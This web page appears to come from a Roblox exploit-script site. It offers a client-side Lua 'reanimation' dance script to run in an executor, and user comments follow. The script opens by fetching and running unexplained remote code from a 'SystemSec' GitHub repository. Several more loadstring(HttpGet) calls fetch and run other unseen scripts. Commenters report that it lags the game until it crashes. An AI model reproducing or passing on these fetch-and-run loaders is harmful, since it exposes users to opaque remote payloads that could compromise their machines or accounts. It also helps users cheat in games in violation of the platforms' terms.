Defaultation
Key RequiredUniversal Patched

Defaultation

Universal ScriptNutShellScriptForReaNutShellScriptForRea 19.3K views 4 executesUpdated Jul 6, 2025
5.0/ 5(1 votes)
10100% Positive
Lua Script•246 lines (8132 chars)
task.spawn(function()
 loadstring(game:HttpGet("https://raw.githubusercontent.com/SystemSecRoblox/SystemSec/refs/heads/main/main.lua"))()
end)

-- Mode settings
--[[Dance Modes:
    Default (g0bl00x)
    KDV3.1M (Crimson and sonixdev, can crash)

    Unknown Modes:
    Custom (gui, Dummy_QWERTY)

    More coming soon!
]]
local mode = "Default"
local turnoffshi = true

--shits

local function UiText(seconds, text)
	local ScreenGui = Instance.new("ScreenGui")
	local Frame = Instance.new("Frame")
	local UICorner = Instance.new("UICorner")
	local UIGradient = Instance.new("UIGradient")
	local UIStroke = Instance.new("UIStroke")
	local UIStroke_2 = Instance.new("UIStroke")
	local UIStroke_3 = Instance.new("UIStroke")
	local TextLabel = Instance.new("TextLabel")
	local TextLabel_2 = Instance.new("TextLabel")
	ScreenGui.IgnoreGuiInset = true

	ScreenGui.Parent = game:GetService("CoreGui") -- fixed

	Frame.Parent = ScreenGui
	Frame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
	Frame.BorderColor3 = Color3.fromRGB(0, 0, 0)
	Frame.BorderSizePixel = 0
	Frame.Size = UDim2.new(0, 429, 0, 79)
	Frame.Position = UDim2.new(0.5, -429/2, 0.01, 0)

	UIStroke.Parent = Frame
	UIStroke_2.Color = Color3.fromRGB(65, 65, 65)
	UIStroke_3.Color = Color3.fromRGB(65, 65, 65)

	UICorner.Parent = Frame

	UIGradient.Color = ColorSequence.new{
		ColorSequenceKeypoint.new(0.00, Color3.fromRGB(255, 255, 255)),
		ColorSequenceKeypoint.new(1.00, Color3.fromRGB(25, 25, 27))
	}
	UIGradient.Rotation = 40
	UIGradient.Transparency = NumberSequence.new{
		NumberSequenceKeypoint.new(0.00, 0.00),
		NumberSequenceKeypoint.new(0.07, 0.13),
		NumberSequenceKeypoint.new(1.00, 0.00)
	}
	UIGradient.Parent = Frame

	UIStroke_3.Thickness = 0.7

	TextLabel.Parent = Frame
    TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
    TextLabel.BackgroundTransparency = 1
    TextLabel.BorderSizePixel = 0
    TextLabel.Position = UDim2.new(0, 0, 0, 0)
    TextLabel.Size = UDim2.new(1, 0, 1, 0) -- fill entire frame
    TextLabel.Font = Enum.Font.BuilderSans
    TextLabel.Text = text
    TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
    TextLabel.TextSize = 20
    TextLabel.TextWrapped = true -- wrap text if it's too long
    TextLabel.TextScaled = false -- keep consistent size unless you want it to auto-scale
    TextLabel.TextXAlignment = Enum.TextXAlignment.Center
    TextLabel.TextYAlignment = Enum.TextYAlignment.Center
	UIStroke_2.Parent = TextLabel

	UIStroke_3.Parent = TextLabel_2 -- unused label tho

	task.delay(seconds, function()
		ScreenGui:Destroy()
	end)
end

-- Chat messages
if not turnoffshi then
    local chat = game:GetService("TextChatService").TextChannels.RBXGeneral
    chat:SendAsync("Defaultation, credits to Crimson and sonixdev, g0bl00x")
    task.wait(2)
    chat:SendAsync("Mode: " .. mode .. ", Script by Dummy_QWERTY")
    task.wait(2)
else
    UiText(1.5, "Defaultation, credits to Crimson and sonixdev, g0bl00x")
    task.wait(2)
    UiText(2.5, "Mode: " .. mode .. ", Script by Dummy_QWERTY")
    task.wait(2)
end

-- Notification
game:GetService("StarterGui"):SetCore("SendNotification", {
    Title = "Limb Reanim V2",
    Text = "ENJOY!",
    Icon = "rbxthumb://type=Asset&id=13775452736&w=150&h=150",
    Duration = 5
})

-- SETTINGS
local settings = _G
settings["Use default animations"] = true
settings["Fake character transparency level"] = 1
settings["Disable character scripts"] = true
settings["Fake character should collide"] = true
settings["Parent real character to fake character"] = false
settings["Respawn character"] = true
settings["Instant respawn"] = false
settings["Hide HumanoidRootPart"] = false
settings["PermaDeath fake character"] = false
settings["Names to exclude from transparency"] = {}

-- shing
(function()
    if getgenv then return getgenv() else return _G end
end)().fling = nil

--this is ai generated i am NOT gonna do shit

local function createAnimatorGui()
    -- load animator lib
    if not getgenv()["Animator"] then
        loadstring(game:HttpGet("https://raw.githubusercontent.com/xhayper/Animator/main/Source/Main.lua"))()
    end

    local Anim = nil
    local player = game.Players.LocalPlayer
    local character = player.Character or player.CharacterAdded:Wait()

    -- gui
    local screenGui = Instance.new("ScreenGui", player:WaitForChild("PlayerGui"))
    screenGui.ResetOnSpawn = true
    screenGui.Name = "AnimatorGui"

    local frame = Instance.new("Frame", screenGui)
    frame.Size = UDim2.new(0, 300, 0, 240)
    frame.Position = UDim2.new(0.5, -150, 0.5, -120)
    frame.BackgroundColor3 = Color3.fromRGB(40, 40, 40)
    frame.Active = true
    frame.Draggable = true

    local title = Instance.new("TextLabel", frame)
    title.Size = UDim2.new(1, 0, 0, 30)
    title.Text = "Animator GUI"
    title.BackgroundColor3 = Color3.fromRGB(60, 60, 60)
    title.TextColor3 = Color3.fromRGB(255, 255, 255)
    title.Font = Enum.Font.SourceSans
    title.TextSize = 18

    local idBox = Instance.new("TextBox", frame)
    idBox.PlaceholderText = "Id here"
    idBox.Size = UDim2.new(0.9, 0, 0, 30)
    idBox.Position = UDim2.new(0.05, 0, 0, 40)
    idBox.BackgroundColor3 = Color3.fromRGB(70, 70, 70)
    idBox.TextColor3 = Color3.fromRGB(255, 255, 255)
    idBox.Font = Enum.Font.SourceSans
    idBox.TextSize = 16

    local speedBox = Instance.new("TextBox", frame)
    speedBox.PlaceholderText = "Speed here"
    speedBox.Size = UDim2.new(0.9, 0, 0, 30)
    speedBox.Position = UDim2.new(0.05, 0, 0, 80)
    speedBox.BackgroundColor3 = Color3.fromRGB(70, 70, 70)
    speedBox.TextColor3 = Color3.fromRGB(255, 255, 255)
    speedBox.Font = Enum.Font.SourceSans
    speedBox.TextSize = 16

    local playBtn = Instance.new("TextButton", frame)
    playBtn.Size = UDim2.new(0.28, 0, 0, 30)
    playBtn.Position = UDim2.new(0.05, 0, 0, 130)
    playBtn.Text = "Play"
    playBtn.BackgroundColor3 = Color3.fromRGB(0, 170, 0)
    playBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
    playBtn.Font = Enum.Font.SourceSans
    playBtn.TextSize = 16

    local stopBtn = Instance.new("TextButton", frame)
    stopBtn.Size = UDim2.new(0.28, 0, 0, 30)
    stopBtn.Position = UDim2.new(0.36, 0, 0, 130)
    stopBtn.Text = "Stop"
    stopBtn.BackgroundColor3 = Color3.fromRGB(170, 0, 0)
    stopBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
    stopBtn.Font = Enum.Font.SourceSans
    stopBtn.TextSize = 16

    local speedBtn = Instance.new("TextButton", frame)
    speedBtn.Size = UDim2.new(0.28, 0, 0, 30)
    speedBtn.Position = UDim2.new(0.67, 0, 0, 130)
    speedBtn.Text = "Set Speed"
    speedBtn.BackgroundColor3 = Color3.fromRGB(0, 0, 170)
    speedBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
    speedBtn.Font = Enum.Font.SourceSans
    speedBtn.TextSize = 16

    -- logic
    playBtn.MouseButton1Click:Connect(function()
        local id = tonumber(idBox.Text)
        if id then
            Anim = Animator.new(character, id)
            Anim:Play()
        end
    end)

    stopBtn.MouseButton1Click:Connect(function()
        if Anim then
            Anim:Stop()
            Anim = nil
        end
    end)

    speedBtn.MouseButton1Click:Connect(function()
        if Anim then
            UiText(1, "this doesnt work")
        end
    end)
end

task.spawn(function()
    loadstring(game:HttpGet("https://raw.githubusercontent.com/somethingsimade/CurrentAngleV2/refs/heads/main/v2"))()
    if mode:lower() == "default" then
        loadstring(game:HttpGet("https://raw.githubusercontent.com/HelloTestAltie/ReposHubbe/refs/heads/Sounds/dancetoolsoriginatedbyg0bl00x.luau"))()
    elseif mode:lower() == "kdv3.1m" then
        loadstring(game:HttpGet("https://raw.githubusercontent.com/sparezirt/Script/refs/heads/main/.github/workflows/KDV3Modded.txt"))()
    elseif mode:lower() == "custom" then
        createAnimatorGui()
    else
       UiText(3, "Are you fucking dumb put the mode right")
       return
    end
end)

task.wait(3)
if not turnoffshi then
    game:GetService("TextChatService").TextChannels.RBXGeneral:SendAsync("Absolutely Enjoy lol")
else
    UiText(2, "Absolutely Enjoy lol")
end

script:Destroy()
return

Features & Information

dont use this unless you wanna get lagged (I dont know what is even the problem) this is buns
#KDVM#Epik Dance#Dance#Hood Irony#Open source script

Community Comments (14)

ReactorCoreDevReactorCoreDevJul 6, 2025

nice

wuwieboingzwuwieboingzJul 6, 2025(edited)

it... doesnt work edit: the visuals are broken💔

ReactorCoreDevReactorCoreDevJul 6, 2025

nah just equip the tool and unequip the tool then equip the tool then yeah

wuwieboingzwuwieboingzJul 6, 2025

let me try it

this works perfectly fine btw

wuwieboingzwuwieboingzJul 6, 2025

is it normal to cant ONLY see myself dancing??

no

AI

NutShellScriptForReaNutShellScriptForReaJul 6, 2025(edited)

did he

Ryxh7Ryxh7Jul 6, 2025

Como se llama el juego?

ReactorCoreDevReactorCoreDevJul 6, 2025

theres a issue, it slowly lags your game until it crashes

ReactorCoreDevReactorCoreDevJul 6, 2025

or crashes your pc

im lagging like hell ts pmo

I DONT EVEN KNOW WHATS THE PROBLEM TO FIX THE LAG

More Scripts for Universal Scripts